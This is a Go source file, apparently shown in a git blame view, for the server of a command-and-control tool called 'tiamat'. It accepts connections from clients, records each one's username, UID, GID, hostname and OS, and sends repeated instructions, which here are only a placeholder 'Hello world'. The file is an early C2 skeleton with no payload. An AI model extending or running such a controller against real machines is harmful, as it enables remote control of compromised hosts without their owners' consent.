tiamat/cmd/serverFunc.go

99 lines
1.8 KiB
Go
Raw Normal View History

2024-06-03 09:24:18 +02:00
package cmd
import (
2024-06-03 10:16:35 +02:00
"encoding/gob"
"fmt"
2024-06-03 09:24:18 +02:00
"log"
"net"
"time"
2024-06-03 09:24:18 +02:00
"github.com/spf13/viper"
)
2024-06-03 10:16:35 +02:00
type Client struct {
Username string
UID string
GID string
2024-06-03 10:16:35 +02:00
OperatingSystem string
Hostname string
2024-06-03 10:16:35 +02:00
Conn net.Conn
}
type Instructions struct {
Message string
}
2024-06-03 09:24:18 +02:00
var (
2024-06-03 10:16:35 +02:00
C2Port string = "1302"
clientList []*Client
2024-06-03 09:24:18 +02:00
)
func (c Client) Instruct(i Instructions) error {
enc := gob.NewEncoder(c.Conn)
err := enc.Encode(i)
if err != nil {
return err
}
return nil
}
2024-06-03 09:24:18 +02:00
func Server() {
p := viper.GetString("Server.Port")
if p != "" {
C2Port = p
}
go WebServer()
ln, err := net.Listen("tcp", ":"+C2Port)
if err != nil {
log.Fatalf("Error happened listening on C2 port: %v\n", err)
}
log.Printf("Listening on port %v...", C2Port)
defer ln.Close()
for {
conn, err := ln.Accept()
if err != nil {
log.Printf("Error happened accepting connection: %v\n", err)
}
handleConn(conn)
}
}
func handleConn(conn net.Conn) {
2024-06-03 10:16:35 +02:00
client, err := getOS(conn)
if err != nil {
log.Printf("Error happened receiving OS information: %v\n", err)
}
client.Conn = conn
fmt.Printf("Got info from new user:\nUsername: %v\nUID: %v\nGID: %v\nHostname: %v\nOS: %v\n", client.Username,
client.UID, client.GID, client.Hostname, client.OperatingSystem)
time.Sleep(time.Second * 7)
fmt.Println("7 seconds have passed, sending message!")
time.Sleep(time.Millisecond * 500)
newMessage := Instructions{
Message: "Hello world",
}
for {
time.Sleep(time.Second)
client.Instruct(newMessage)
}
// for i, v := range clientList {
// fmt.Println(i, v)
//
// }
2024-06-03 10:16:35 +02:00
}
2024-06-03 09:24:18 +02:00
2024-06-03 10:16:35 +02:00
func getOS(conn net.Conn) (*Client, error) {
dec := gob.NewDecoder(conn)
c := new(Client)
err := dec.Decode(&c)
if err != nil {
bad := Client{}
return &bad, err
}
clientList = append(clientList, c)
return c, nil
2024-06-03 09:24:18 +02:00
}